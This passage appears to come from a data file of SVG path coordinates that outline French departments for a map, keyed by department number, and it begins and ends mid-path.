-2.88,4.6 -2.81,7.85 -2.78,1.77 -2.83,6.44 -7.03,4.76 -2.85,0.81 -3.66,-2.92 -6.7,-0.63 -2.79,-0.18 -0.5,4.84 -3.68,4.44 -1,2.09 -4.35,0.18 -4.99,0.68 -2.27,1.36 -4.93,3.35 -6.47,5.56 -0.5,0.74 -1.33,-2.39 -1.72,0.49 -3.55,0.2 0.23,4.71 0.28,6.73 2.91,2.12 -2.27,3.27 -0.47,5.85 1.39,1.46 5.91,0.06 3.8,3.53 -3.1,-0.35 -2.94,5.1 0.37,3.8 0.84,2.24 2.93,2.1 3.97,0.28 0.64,-0.72 3.02,-0.92 4.38,-1.29 0.38,2.53 5.59,1.47 2.9,3.68 1.7,0.61 3.86,-0.93 4.36,1.52 3.19,-0.21 4.33,4.36 7.18,4.97 1.07,2.25 3.3,4.6 2.21,6.63 2.23,0.9 1.85,3.49 2.9,4.9 -1.38,2.72 2.8,5.25 4.08,7.58 2.19,1.85 5.01,1.88 6.77,-0.28 2.08,1.32 5.71,0.5 5.44,3.99 1.27,0.35 3.33,-1.02 4.93,0.31 1.97,-0.43 -0.03,-3.71 1.21,-5.08 -2.26,-3.18 1.08,-5.37 3.72,-2.96 2.82,0.94 5.31,-0.91 4.29,-3.64 1.04,-3.15 6.02,0.38 5.11,-4.28 0.93,-2.39 7.18,-5.33 2.04,-7.25 -1.51,-0.47 -2.97,-0.34 -3.42,-2.06 -1.73,1.9 -3.93,-2.51 -0.51,-1.95 0.48,-1.6 1.14,-3.68 2.65,-4.73 -0.68,-4.43 -9.42,2.3 -6.63,-3.08 -1.18,-1.25 -3.15,-1.32 -3.65,-2.81 -2.6,0.85 1.8,-4.01 -0.75,-5.21 -0.72,-3.41 2.21,-7.15 -2.14,-9.54 -0.76,-2.6 0.83,-5.86 -2.52,-7.49 -2.49,-2.83 -5.19,-5.99 -4.63,-9.9 -1,-0.3 1.62,-2.72 -0.79,-2.1 -2.92,-0.77 -0.83,-7.54 -5.15,-5.36 -2.76,2.56 0.68,-4.65 -2.57,-4.34 z","department-46":"m 289.52,399.9 c -1.93,0.63 -3.22,2.08 -5.19,2.51 -0.55,2.48 1.91,5.04 0.2,6.77 1.53,1.17 0.68,2.13 -0.64,2.71 -0.49,1.39 -2.82,1.08 -2.03,3.22 -2.04,0.31 -3.93,1.87 -1.84,3.73 -0.63,1.48 -1.5,2.57 -2.96,3.19 -1.15,2.55 -6.2,0.92 -4.86,4.75 -0.81,1.54 -2.94,2.2 -2.41,4.25 -2.21,-0.14 -3.42,2.82 -5.02,1.78 1.06,2.16 1.42,4.31 1.76,6.68 1.42,0.87 1.66,2.27 1.65,3.98 1.08,0.06 4.12,-1.76 2.93,0.81 -1.71,0.25 -2.37,1.31 -0.78,2.24 0.3,2.25 3.42,1.16 3.62,3.37 1.9,1.69 3.3,-0.16 5.08,-0.35 0.72,1.57 -2.26,4.22 0.76,4.02 1.46,0.62 1.81,2.15 3.19,0.31 1.85,-0.6 3.07,-3.05 4.33,-3.46 2.43,-0.2 1.29,4.21 3.91,2.83 1.72,-1.05 -1.79,-4.67 1.45,-4.27 1,-0.03 1.35,3.17 2.11,1.18 -1.32,-1.83 1.53,0.24 1.9,-1.51 1.38,-1.16 3.1,-1.29 4.45,-0.92 0.2,-1.96 1.81,0.11 2.71,-1.11 1.67,0.1 4.18,-1.49 1.89,-2.9 -0.47,-2.26 -2.34,-4.82 -1.67,-6.85 1.76,-0.03 1.59,-1.88 3.42,-1.54 2.32,-1.45 3.8,-3.77 6.26,-4.75 1.66,-0.78 4.05,1.82 5.11,-0.84 2.37,0.13 1.47,-2.41 -0.05,-3.14 -0.16,-1.64 0.62,-3.82 -1.82,-3.9 0.88,-2.1 0.95,-4.43 1.69,-6.42 -0.75,-2.19 -3.06,-3.63 -3.78,-5.98 -0.22,-1.15 1.69,-2.17 -0.2,-3.09 0.38,-3.82 -4.01,-3.64 -6.05,-1.43 -0.4,-1.8 -2.37,-1.92 -3.03,-0.03 -1.66,0.66 -3.24,2.7 -4.53,1.71 -1.67,0.61 -1.38,-2.93 -3.39,-2.7 -0.94,-2.08 -2.85,-4.19 -5.2,-4.37 -1.54,-0.53 -2.13,1.38 -2.99,-0.49 z","department-24":"m 247.71,356.64 c -1.33,1.72 -2.15,5.44 -4.37,3.98 -1.29,2.19 0.65,6.02 -2.78,7.22 -1.07,1.73 -1.22,3.17 -3.43,2.89 -1.35,1.3 -2.7,2.47 -3.69,2.4 1.31,1.44 -2.43,1.19 -1.92,3.33 -1.11,2.86 2.21,7.18 -2.16,7.82 -1.72,1.11 -2.1,4.21 -4.37,4.44 -1.83,-1.85 -4.84,-0.09 -5.58,2.19 -1.71,0.92 1.62,1.85 -0.97,2.36 -2.09,3.33 4.38,0.08 4.2,3.85 0.13,2.45 -1.7,4.67 -1.9,7.15 -2.34,1.81 1.75,4.57 -1.01,6.63 -1.98,1.62 -0.57,1.93 1.18,2.08 1.5,2.41 4.72,0.24 7.34,1.24 1.58,-2.14 3.57,-4.36 5.67,-1.25 -1.59,1.46 -2.98,1.82 -1.65,4.38 2.67,1.95 3.57,5.11 3.66,7.87 2.89,2.27 5.83,-2.31 8.31,-0.64 1.5,-0.14 1.73,-2.6 3.78,-2.17 1.74,-0.66 1.71,2.87 4.06,1.59 2.32,0.27 4.87,-3.2 5.62,0.33 1.53,0.48 -2.2,5.61 1.71,4.55 1.86,-2.63 5.57,-3.37 7.55,-0.26 1.61,0.15 2.83,4.14 2.8,0.73 3.09,-1.47 0.93,-6.06 5.03,-5.87 2.1,-1.49 4.63,-2.68 4.89,-5.07 -3.18,-2.94 3.24,-2.15 2.07,-5.03 1.39,-0.77 2.75,-1.97 3.62,-3.12 -2.55,-1.45 1.11,-2.89 -0.92,-4.95 -0.82,-1.88 -0.06,-3.23 0.88,-4.14 -1.12,-2.13 -3.92,-5.19 -1.35,-6.5 -1.47,-1.44 -7.7,-0.59 -6.45,-3.12 3.25,-2.31 -3.9,-1.43 -1.21,-3.75 2.08,-0.54 1.75,-2.32 -0.17,-2.44 -0.66,-1.42 -0.44,-4.25 1.4,-4.42 0.7,-1.32 4.27,-4.12 0.61,-3.76 -2.11,-1.25 -0.47,-1.95 0.2,-2.77 -1.16,-1.12 -2.39,-0.61 -3.26,-2.06 -1.89,0.78 -2.29,-1.48 -4.2,-1.06 -0.44,-1.95 3.54,-4.4 -0.69,-4.44 -2.48,1.66 -3.1,-3.01 -4.18,-4.31 -2.45,-0.69 -5.34,1.33 -6.92,-0.8 -0.28,1.94 -2.24,3.99 -3.3,1.71 -4.01,-0.32 1.3,-5.83 -3.25,-6.54 -2.23,1.7 -3.48,-1.31 -4.85,-0.28 z","department-16":"m 252.54,327.65 c -2.29,0.72 -1.44,3.44 -4.4,2.98 -1.27,1.85 -4.05,0.47 -4.98,-1.39 -0.68,-3.54 -5.06,1.6 -1.79,2.2 -0.58,3.13 -3.4,1.11 -5.1,0.91 -3.14,1.37 -5.19,-1.3 -7.86,-1.81 -1.52,1.5 -2.93,-1.91 -4.66,0.15 -1.97,-0.37 -2.45,3.38 -5.06,2.24 -1.93,0.04 0.82,2.24 -1.2,2.74 0.87,2.68 -3.95,2.15 -2.09,4.68 -0.28,1.91 -3.6,0.31 -2.2,2.53 -0.11,1.44 2.16,2.96 -0.03,4.42 -0.09,1.53 -0.09,4.77 -2.18,3.4 -1.96,2.42 -3.18,-3.47 -5.22,-0.43 -2.04,1.16 -4.38,0.45 -6.15,1.89 -2.73,1.16 0.38,1.62 1.39,1.98 -2.76,2.08 2.9,5.14 -0.46,5.78 -1.46,1.75 0.17,2.05 1.51,1.62 1.01,2.19 5.21,3.29 2.97,5.77 2.34,0.08 4.85,3.05 1.84,4.29 -0.18,1.67 3.8,4.33 0.08,4.95 -3.11,0.84 0.04,2.57 1.34,2.89 -0.62,0.79 -3.1,1.95 -1.06,3.18 2.2,-2.04 4.86,0.36 7.25,0.92 -0.44,1.96 0.03,3.48 2.36,2.77 1.73,0.17 2.65,2.07 3.44,2.83 1.42,-1.43 3.54,-1.84 5.23,-0.38 1.69,-1.46 2.03,-3.29 3.72,-4.47 1.1,-1.12 3.55,-1.27 2.27,-3.69 -1.79,-2.79 1.03,-5.85 1.8,-7.57 0.23,-1.21 1.54,0.42 2.16,-1.12 1.02,-1.12 2.42,-1.8 3.66,-1.6 0.38,-3.16 4.03,-3.24 3.74,-6.43 -0.64,-1.42 -0.09,-4.56 1.85,-3.02 1.5,-1.35 2.27,-4.04 4,-5.85 1.03,-2.13 3.92,-2.7 3.46,-5.45 1.36,-0.67 3.4,1.91 3.05,-0.98 1.5,-1.75 2.07,-3.92 1.46,-6.01 -0.57,-2.93 3.18,0.64 4.34,-1.8 2.69,-1.02 0.69,-6.52 -1.66,-5.43 -1.88,-0.53 -3.24,-3.11 -1.94,-5.21 -0.3,-3.28 -2.38,-2.24 -4.88,-2.46 z","department-86":"m 220.19,259.01 c -2.67,1.11 -1.14,6.66 -4.7,5.46 -1.12,2.67 -0.28,6.33 2.34,7.3 1.21,2.8 -0.12,6.86 2.81,8.58 -0.34,0.88 -4.74,0.94 -2.01,2.12 1.66,0.91 -1.21,4.66 1.86,5.01 0.17,2.88 -3.53,4.96 -3.39,7.51 2.34,-1.74 2.86,1.09 4.01,2.56 -2.36,1.41 -1.42,4.19 -3.11,6.09 1.11,2.79 0.46,6.03 2.68,8.32 -0.98,2.26 1.88,5.6 3.64,2.56 3.26,-2.86 4.22,4.09 1.42,5.44 -1.17,2.3 -1.1,6.6 2.78,6.31 1.76,0.42 -1.54,4.9 1.9,4.82 2.58,2.29 6.42,0.33 9.24,2 3.12,-1.13 -1.64,-3.61 1.54,-4.88 2.93,-0.45 3.66,4.64 7.15,2.55 2.65,-1.24 4.01,-4.64 7.5,-3.07 5.18,0.43 -2.68,-6.17 1.99,-6.32 0.93,-3.5 4.73,-3.96 7.28,-4.09 1.27,-2.3 2.21,-5.88 5.59,-4.54 3.05,-1.23 4.82,-4.66 1.43,-6.65 -0.96,-2.09 -0.63,-5.43 -4.09,-4.96 -2.4,-0.38 -3.1,-2.52 -5.49,-3.06 -4.32,-2.56 0.87,-7.41 -2.39,-10.17 -3.73,-2.36 -3.49,-7.19 -7.25,-9.59 -1.82,-2.65 -1.18,-7.21 -5.41,-7.83 -3.82,-1.6 1.37,4.35 -2.65,2.83 -3.22,-0.17 -6.05,2.2 -9.36,1.21 -5,0.41 0.09,-6.41 -3.44,-7.54 -1.02,-1.75 -5.86,1.14 -3.94,-2.42 -1.49,-2.05 -5.43,-1.78 -6.57,-4.86 -0.36,-0.36 -0.83,-0.61 -1.33,-0.67 z","department-37":"m 248.48,223.77 c -1.42,3.62 -6.45,2.73 -8.2,5.37 -1.46,1.36 -3.9,-2.72 -3.72,0.4 1.37,1.11 1.66,4.33 -0.82,2.81 -1.82,-1.23 -6.06,-3.74 -5.96,0.05 -1.81,2.38 0.79,4.4 -1.19,6.79 -1.59,2.5 -0.38,5.84 -2.27,7.78 -1.62,2.49 -3.61,4.89 -3.44,8.06 -0.62,2.26 -1.45,6.53 1.54,7.19 1.25,-0.87 1.94,2.54 3.31,0.71 0.97,1.11 -0.63,5.21 2.13,3.2 1.8,-1.1 1.89,1.61 3.57,1.4 0.89,2.11 -1.82,7.48 2.05,6.94 1.94,-0.66 4.56,0.68 6.7,-0.98 1.61,-0.96 6.42,0.73 3.58,-2.33 -0.63,-2.85 4.7,0.45 5.56,1.73 0.59,2.71 0.86,5.99 3.94,7.28 1.95,1.88 1.63,7.78 6,6.31 1.43,1.23 2.54,1.03 3.52,-0.09 1.84,-0.7 -1.13,-3.48 0.89,-4.6 0.94,-2.88 0.5,-6.24 2.1,-8.75 -0.51,-3.01 1.88,-5.04 4.77,-5.05 2.3,-0.22 4.18,2.32 5.36,-0.8 1.09,-2.04 2.29,-3.59 3.83,-4.89 -0.17,-3.29 -2.68,-5.86 -4.09,-8.7 -1.3,-3.91 -5.06,-1e-4 -7.13,-2.72 -1.96,-2.54 1.63,-6.07 -1.07,-8.64 1.91,-0.4 1.97,-2.18 -0.13,-2.78 -0.17,-1.99 -3.11,-4.5 -0.71,-6.14 -0.62,-1.2 -2.55,-4.44 -3.27,-1.51 -0.57,-2.17 -2.63,-4.19 -4.63,-1.88 -3.07,2.82 -2.07,-3.8 -2.27,-4.29 -2.95,-0.2 -5.98,-1.05 -8.71,-0.82 -1.21,0.63 -0.51,-1.11 -1.23,-1.05 z","department-72":"m 231.9,172.51 c -2.61,0.34 -4.43,1.91 -6.19,3.04 -1.38,0.48 -2.05,1.94 -3.42,2.6 -0.33,3.05 -3.2,-1.34 -4.33,0.83 -1.43,1.08 -5.63,0.06 -4.24,2.95 -3.08,-0.79 0.86,3.38 -1.37,4.58 -0.86,1.81 1.85,4.28 -0.94,5.2 -2.01,1.1 -4.73,3.07 -1.86,4.9 -0.99,1.29 0.02,2.59 -0.74,3.79 -2.44,-0.68 -6.78,1.67 -3.4,3.85 0.73,2.09 1.76,4.48 -1.53,4.5 -2.58,-0.44 -3.89,2.42 -1.36,3.52 0.5,2.29 -5.19,2.01 -2.45,4.82 3.47,-0.45 1.48,4.86 3.4,5.98 2.31,-1.32 4.91,2 6.78,-0.52 3.29,0.6 -2.46,2.42 0.25,4.06 0.74,1.66 3.87,2.49 4.49,0.08 2.3,1.12 4.71,0.48 6.02,2.83 1.69,1.36 4.05,0.33 5.35,2.19 1.62,-0.93 1.69,-2.65 3.94,-1.78 2.54,-0.05 4.67,2.82 7.14,2.4 0.9,-1.5 -2.93,-3.52 -0.02,-4.31 1.04,1.34 2.82,2.12 3.33,-0.2 2.31,-0.39 4.79,-1.35 6.51,-2.6 -2.85,-2.23 1.58,-5.3 3.79,-5.52 0.46,-1.4 2.4,-3.52 3.78,-4.83 -1.44,-1.85 -0.29,-6.03 1.78,-3.82 -1.09,-2.59 3.21,-2.96 0.58,-5.37 0.08,-1.7 1.43,-3.61 -1.11,-3.97 -1.64,-2.45 2.4,-1.51 1.74,-3.29 -2.05,-0.4 1.4,-1.62 0.89,-2.96 2.29,0.52 3.2,-1.49 0.55,-1.94 -2.01,-0.09 -3.25,-2.56 -5.32,-1.22 -2.38,-0.82 -2.49,-6.22 -5.36,-4.81 0.79,2.39 -2.74,0.17 -4.1,0.37 -1.11,-1.06 -2.58,-1.99 -2.45,-3.6 -1.86,0.23 -5.36,-0.71 -4.94,-3.08 -0.44,-3.4 0.09,-8.02 -4.58,-8.58 l -0.59,-0.08 2e-5,0 z","department-61":"m 236.9,140.22 c -1.37,2.93 -4.44,0.95 -5.77,0.51 -0.7,2.09 -2.92,0.83 -4.24,2.34 -1.35,-2.77 -4.38,-0.25 -5.26,1.87 -3.09,0.73 -4.56,4.12 -8.22,4.12 0.6,2.97 -3.23,-1.05 -4.99,-0.78 -2.07,-0.19 -4.42,-1.53 -4.55,1.51 -1.86,-0.97 -4.38,-5.01 -6.99,-1.88 -2.67,0.7 -5.63,2.58 -8.38,0.81 -1.94,-0.21 0.58,2.41 -2,2.73 -2.21,0.79 -4.81,2.48 -5.8,4.18 1.64,0.47 4.03,2.64 4.89,3.81 -2.6,1.08 -0.04,3.17 -0.37,4.16 -0.1,3.46 -3.63,4.61 -4.76,7.47 1.29,1.59 1.78,3.06 3.56,2.81 -0.2,2.49 3.05,0.83 2.04,-0.77 2.19,0.16 3.37,-1.72 3.97,1.42 2.29,-1.26 4.74,-2.16 6.49,-3.76 2.15,-0.24 4.6,-0.72 6.51,1.02 1.07,-1.63 2.35,-2.41 3.95,-1.42 1.83,-1.07 -0.27,-4.47 3.02,-3.12 1.81,1.18 3.45,2.14 1.99,3.87 0.35,2.25 1.92,4.62 4.47,2.94 1.72,0.65 -0.84,6.99 2.46,4.03 1.16,0.36 3.03,2.09 3.43,-0.38 1.63,-0.81 2.66,-2.19 4.04,-2.85 0.28,-1.38 5.31,-3.16 7.52,-1.96 3.9,1.26 2.59,5.53 3.26,8.6 -0.11,2.92 4.56,1.76 5.41,3.53 -0.07,1.99 3.35,3.78 5.67,2.91 3.19,-3.99 3.88,7.21 7.66,3.4 3.17,-1.53 -1.64,-4 -0.17,-6.33 -3.57,-0.8 0.8,-4.69 3.13,-4.08 2.2,-1.01 6.03,-4.76 3.83,-6.66 -0.95,-2.15 2.33,-4.5 -0.88,-5.72 0.72,-2.4 -4.26,-1.56 -3.98,-4.43 -1.88,-0.39 0.25,-5.19 -3.06,-4.1 -0.43,-1.15 -0.37,-2.32 -1.89,-2.36 3.89,-2.53 -0.45,-5.72 -3.19,-6.87 -1.23,-0.78 -2.92,-1.32 -1.88,-2.86 -1.36,-1.19 -1.22,-3.67 -3.26,-1.5 -2.58,-0.67 -7.27,0.22 -7.13,-3.52 0.64,-0.73 0.75,-2.65 -0.53,-2.7 z","department-27":"m 242.33,106.21 c -2.25,1.4 -4.46,3.12 -7.27,3.2 -3.13,0.01 -1.44,3.96 -0.97,5.79 -0.25,1.42 -0.2,3.07 0.05,4.32 1.56,-2.67 4.74,1.16 1.61,1.68 -3.49,1.51 3.09,2.25 1.65,4.56 -0.6,1.84 0.47,2.5 1.82,3.11 -1.56,1.19 -0.91,2.9 -0.68,4.31 -3.08,-0.3 -1.43,3.4 0.78,3.14 1.11,2.25 -1.15,5.22 -2.03,7.57 1.97,1.86 5.79,2.95 8.17,1.67 1.68,-0.94 2.06,2.46 2.78,2.55 -1.38,3.04 5.18,3.21 5.92,5.84 1.68,1.55 -0.55,2.63 -0.78,3.74 1.84,0.46 1,3.47 3.6,1.89 2.3,-0.06 2.09,-4.03 4.58,-2.4 2.21,-1.11 4.77,-0.84 6.52,-3.04 1.78,1 3.18,0.1 2.69,-1.95 1.73,0.3 3.34,2.1 5.52,1.18 1.73,0.91 5.58,0.54 5.97,-1.71 -2.26,-3.14 2.59,-4.24 4.24,-5.72 -0.13,-1.58 -1.51,-4.22 1.43,-3.88 0.74,-0.67 -0.33,-1.93 0.53,-2.57 -1.47,0.74 -2.69,-0.27 -1.44,-1.58 -1.04,-1.31 -2.12,-4.8 0.61,-3.44 1.11,-1.2 0.8,-1.98 2.49,-1.09 3.37,-0.07 4.6,-2.86 5.45,-5.81 0.13,-2.58 1.39,-4.89 2.52,-6.95 1.56,-1.59 3.56,2.74 3.6,-0.58 -1.93,-1.54 -0.62,-5.1 -2.69,-7.09 -0.94,-2.78 -3.12,-0.33 -5.23,-1.99 -1.74,0.33 -2.23,-3.11 -4.08,-1.45 -2.23,-1.34 -5.13,-1.37 -7.71,-1.23 -0.89,1.39 -2.82,1.34 -2.49,3.35 -1.48,1.47 -1.23,4.8 -4.4,3.5 -1.42,0.9 -3.69,0.83 -4.18,2.58 -2.63,-0.42 -3.44,1.09 -2.81,3.24 -1.76,0.32 -3.16,0.76 -4.2,-0.95 -1.28,0.44 -0.68,-4.41 -2.73,-1.94 -0.92,0.95 -1.47,-2.05 -3.03,-1.54 0.47,-2.75 5.09,0.66 3.34,-3.08 -0.36,-1.37 -2.02,1.31 -1.95,-1 -2.7,-0.13 -3.88,-2.85 -6.72,-1.29 -2.27,1 -3.56,-0.22 -5.16,-1.45 -2.66,0.51 -3.03,-3.16 -5.33,-3.52 z","department-14":"m 231.23,109.9 c -4.06,0.09 -6.85,2.84 -9.55,5.38 -3.34,2.06 -7.05,3.56 -10.99,3.85 -1.95,1.92 -3.54,-1.01 -5.94,-1.28 -2.67,-1.83 -5.65,-1.96 -8.71,-2.47 -2.52,-0.48 -5.06,0.57 -7.64,-0.13 -3.42,-0.41 -7.08,-0.38 -10.19,-1.98 -1.94,-1.82 -4.91,-0.74 -7.32,-0.9 -3.6,0.27 -1.56,4.12 -3.38,5.89 0.35,2.42 2.43,4.3 4.66,5.41 1.29,2.26 4.25,1.82 4.95,-0.81 0.89,1.47 2.18,1.84 0.71,3.15 -2.85,2.72 2.74,3.63 1.8,6.79 0.25,1.58 -1.34,2.53 0.39,3.45 -2.56,1.47 -4.13,6.64 -7.82,4.57 -1.7,0.05 -2.56,3.86 0.25,2.27 1.68,0.8 -1.5,3.01 -2.33,3.69 -1.18,-0.64 -2.61,2.05 -3.44,2.77 1.51,0.52 3.07,1.11 2.99,2.92 1.94,0.53 4.35,0.57 6.32,-0.18 1.55,1.73 4.66,1.77 5.78,1.31 0.33,1.85 2.06,-2.55 3.65,-1.79 1.67,-0.4 2.88,-1.72 1.91,-3.16 2.07,-1.17 2.99,1.93 4.94,0.32 1.69,0.63 2.6,-1.47 4.44,-1.14 2.02,-2.53 4.71,-0.49 6.27,0.75 0.09,2.25 1.52,-0.03 1.58,-1.02 2.72,0.42 5.75,0.47 7.89,2.34 0.72,-2.21 4.15,-0.58 5.38,-3.06 1.98,-1.59 4.45,-2.16 5.53,-4.57 1.56,-0.47 2.62,-1.63 3.42,0.6 1.16,-0.33 2.13,-1.63 3.58,-1.13 0.5,-2.08 1.78,-0.88 2.61,-0.44 1.61,0.55 3,0.24 4,-1.29 0.95,1.22 2.59,1.22 2.01,-0.7 1.28,-2.16 0.25,-3.37 -2.04,-3.81 -1.78,-1.67 1.38,-2.37 1.39,-3.02 -1.93,-1.58 2.62,-4.1 -0.98,-4.39 -0.16,-2.06 0.6,-4.48 -2.13,-4.95 -3.24,-2.19 4.22,-2.19 0.79,-4.43 -0.9,-0.04 -3.11,2.04 -1.98,-0.25 -0.33,-1.14 -1.2,-1.29 -0.01,-2.61 -1.49,-1.67 0.64,-7.09 -2.8,-5.97 z","department-76":"m 285.08,67.51 c -1.66,1.28 -3.92,-0.27 -5.32,2.21 -2.55,2.82 -5.75,4.75 -9.23,6.16 -2.69,2.07 -6.27,0.91 -9.1,2.49 -3.04,0.83 -5.97,2.2 -9.16,2.2 -4.64,-0.08 -8.38,2.85 -12.2,5.03 -3.19,1.24 -5.65,3.53 -8.97,4.44 -4.45,0.63 -4.32,5.58 -6.08,8.7 -1.33,2.41 -3.69,6.09 0.02,7.66 2.71,1.09 5.28,1.25 8.39,1.98 3.84,1.23 7.92,-4.2 10.87,-0.97 1.02,1.67 2.99,3.04 4.68,1.44 -0.81,3.45 3.88,2.23 5.92,1.74 1.25,0.7 1.48,-1.8 1.82,0.62 0.74,1.56 3.24,0.12 3.81,1.84 1.65,-0.96 2.48,4.22 -0.34,2.48 -3.28,0.03 0.21,1.48 0.51,2.68 2.73,-3.35 2.83,4.25 5.77,2.84 2.8,-0.27 -0.27,-3.85 3.3,-3.41 1.82,-0.28 2.83,-2.57 4.57,-2.23 0.36,-1.37 4.68,0.8 4.04,-2.57 1.27,-2.05 1.52,-4.08 4.3,-5.05 2.08,0.14 5.31,0.85 7.56,1.4 2.14,-0.45 3.59,3.15 6.18,2.19 2.06,0.69 2.28,-3.97 4.3,-4.86 1.52,-1.49 -0.75,-3.01 -1.45,-0.94 -2.42,-0.89 0.93,-2.53 -0.81,-3.95 0.3,-1.61 -2.27,-1.27 -1.03,-2.58 -0.73,-1.35 1.8,-2.21 -0.04,-3.48 1.02,-1.01 3.32,-5.11 0.67,-2.57 -2.48,-0.31 0.5,-3.34 1.11,-4.23 -0.07,-1.57 3.34,-0.34 1.01,-2.16 -2.4,-2.69 -1.34,-6.85 -4.28,-9.1 -3.65,-1.5 -5.37,-5.07 -8.6,-7.13 -2.03,-0.46 -0.42,-2.8 -2.2,-2.85 z","department-60":"m 299.82,88.06 c -0.68,1.53 -2.52,3 -2.62,4.61 0.88,0.83 2.72,-2.26 2.36,0.47 -2.03,0.88 -1.5,2.81 -1.5,4.35 -1.65,1.28 0.75,1.64 0.2,3.03 0.54,1.64 1.83,2.54 0.02,4.14 0.78,1.65 2.88,-1.94 3.18,0.81 -0.81,1.88 -3.2,3.3 -3.32,5.72 1.83,-0.19 -0.44,1.38 1.38,2.1 1.48,2.13 0.75,4.92 2.41,6.82 0.2,2.27 -1.63,1.56 -2.48,0.39 -2.21,-0.34 -2.49,2.24 -0.48,2.81 -0.83,1.16 -0.47,2.78 1.13,3 2.38,-0.91 4.68,1.32 7.04,0.62 2.19,-0.63 4.26,-0.42 6.14,-1.88 1.82,-1.52 2.59,1.29 4.7,0.92 0.24,2.48 3.26,-1.11 3.69,1.4 -0.75,1.55 3.2,0.09 3.21,-1.39 1.69,-0.21 1.93,2.59 3.71,1.86 2.57,0.22 4.8,1.97 6.25,3.43 0.62,-1.34 1.71,-1.33 1.95,0.34 1.46,2.81 2.94,-2.02 4.79,0.35 1.09,0.96 1.32,2.68 2.73,1.05 0.38,2.06 2.62,0.41 2.41,-0.61 2.06,-2.04 3.56,2.74 5.7,0.23 1.37,0.79 3.07,-1.58 3.55,0.59 0.9,-2.08 4.02,0.32 3.84,-2.61 0.97,-1.2 1.9,-2.09 3.15,-2.84 -1.43,-0.2 -1,-3.93 -2.02,-1.23 0.12,2.36 -0.59,-0.15 -0.51,-1.14 -0.98,-0.34 -1.96,-0.8 -2.82,-1.45 1.46,-1.59 0.58,-5.08 -1.78,-5.51 -1.64,-1.93 1.32,-3.14 3,-2.37 2.78,-1.33 1.45,-5.56 2.96,-6.93 1.83,1.02 3.46,-1.08 0.88,-1.43 -2.12,-0.58 0.91,-1.96 -1.18,-3 -0.31,-1.21 1.9,-1.71 1.13,-3.46 1.11,-2.28 -2.26,-3.66 -0.83,-5.46 -1.28,-1.35 1.28,-1.82 0.48,-3.31 0.33,-2.37 -2.35,1.17 -1.98,-1.22 -1.06,0.07 -2.21,3.33 -3.26,0.83 -1.15,-1.16 -2.97,0.6 -2.46,1.87 -0.95,-1.04 -2.28,-2.96 -3.61,-2.19 0.98,1.2 1.14,2.51 -0.39,1.26 -0.14,2.4 -4.2,0.61 -3.1,3.55 -0.54,2.6 -5.29,-1.86 -5.5,1.9 0.32,2.24 -2.85,2.23 -2.21,0.03 -1.14,-1.83 -2.74,1.59 -3.58,-0.97 -1.21,-1.4 -2.44,-1.07 -3.66,-0.6 -0.85,-3.25 -4.16,-1.53 -6.1,-3.1 -0.93,-1.42 -3.34,-0.98 -4.87,-2.04 -2.87,-0.39 -5.38,1.28 -8.22,0.91 -0.21,-2.15 -3.87,-1.59 -4.92,-1.24 -1.09,-1.54 -2.79,1.74 -4.47,0.11 -1.06,-0.76 -1.06,-1.17 -0.69,-2.16 -0.99,-0.72 -2.08,-1.47 -3.42,-1.36 z","department-80":"m 292.25,47.76 c -3.3,0.48 -3.7,7.09 -0.18,7.88 1.08,1.67 4.2,2.74 3.06,4.24 -2.73,-1.29 -6.63,-3.63 -7.9,0.8 -0.08,3.06 -3.29,5.38 -4.22,7.27 1.37,-0.11 3.64,-1.46 3.18,1.37 3.11,1.87 5.05,5.06 7.98,7.06 3.9,1.29 3.89,5.38 5.12,8.61 0.56,2.66 4.89,3.47 4.09,5.66 1.46,2.82 4.15,-0.88 5.54,0.73 2.25,-2 4.72,2.18 7.27,1.01 2.7,-0.93 5.98,-1.02 8.68,0.5 1.84,-0.03 3.1,2.73 5.49,1.65 1.93,0.79 2.11,3.17 3.94,1.57 2.03,0.38 2.41,3.33 4.24,1.67 1.8,-0.87 1.46,4.54 3.03,1.36 0.02,-3.92 4.11,-1.35 5.69,-2.17 -0.71,-2.24 0.89,-2.61 2.47,-2.96 0.23,-1.49 2.58,-0.96 0.98,-2.41 1.05,-1.53 0.91,1.46 2.09,-0.25 0.9,2.74 1.49,1.35 3.01,0.23 1.35,0.58 3.49,2.16 3.45,-0.59 1.21,0.66 3.53,0.99 2.21,-1.27 0.39,-2.05 -3.23,-2.65 -0.99,-4.12 0.13,-1.56 -2.17,-2.32 -0.06,-3.42 -0.06,-1.95 2.47,-2.66 2.02,-5.11 0.89,-1.27 2.86,-3.19 2.9,-4.11 -2.64,0.29 0.37,-2.52 -2.05,-2.42 -2.22,-1.41 -5.14,-3.16 -7.9,-1.23 -1.34,-2.15 -4.91,2.97 -5.09,0.51 1.42,-1.44 -0.8,-3.49 -2.15,-1.79 -0.94,1.46 -4.33,1.85 -2.41,-0.4 3.11,-2.33 -2.99,-5.63 -2.46,-2.07 1.41,1.98 -2.63,-0.12 -3.46,-0.4 -1.61,-0.21 -3.12,-0.74 -2.69,-2.12 -1.34,-0.69 -1.48,3.04 -2.43,0.22 -3.21,-2.44 -3.38,5.35 -5.85,1.64 -1.72,-1.93 1.49,-5.21 3.99,-5.44 1.33,-2.2 -4.48,-3.79 -5.35,-1.18 -0.74,-1.34 -1.37,-2.06 -1.64,-0.43 -2.88,-0.65 -5.6,0.07 -8.2,1.37 -1.11,-1.55 -3.47,0.2 -3.68,-2.58 1.41,-3.13 -8.2,-2.22 -4.92,-5.34 -0.16,-2.3 -3.14,1.95 -4.11,-1.07 -2.18,-2.39 -5.42,-2.15 -7.98,-0.54 -2.27,1.67 -2.44,-2.55 -4.75,-1.91 z","department-95":"m 297.89,122.77 c -1.93,0.92 -1.82,3.28 -2.24,5.06 -0.18,1.39 -0.88,2.57 -1.71,3.66 -1.18,2.5 3.25,0.35 3.28,2.76 0.67,1.03 2.44,0.71 2.86,-0.15 1.62,0.83 1.89,-1.96 3.5,-0.67 1.15,0.5 1.54,1.3 0.91,2.4 0.05,1.46 1.28,0.91 1.47,-0.15 1.23,-1.85 1.56,1.36 3.2,0.93 1.81,-0.33 2.63,2.19 4.51,1.19 1,-0.65 2.03,-0.32 2.94,-0.74 0.27,0.84 -0.01,2.32 1.49,2.09 1.39,0.41 0.73,2.42 2.34,2.4 -0.26,0.82 -0.29,3.2 0.91,1.57 0.86,-1.05 2.61,-1.25 3.07,-2.57 1.17,0.19 2.33,0.34 3.34,-0.64 1.5,0.48 3.52,2.04 5,0.44 1.28,-0.6 2.07,-1.91 3.13,-2.67 -1.04,-1.28 1.15,-1.17 1.41,-2.36 0.47,-0.74 -0.21,-1.51 0.41,-2.34 -0.57,-0.87 -1.19,-1.72 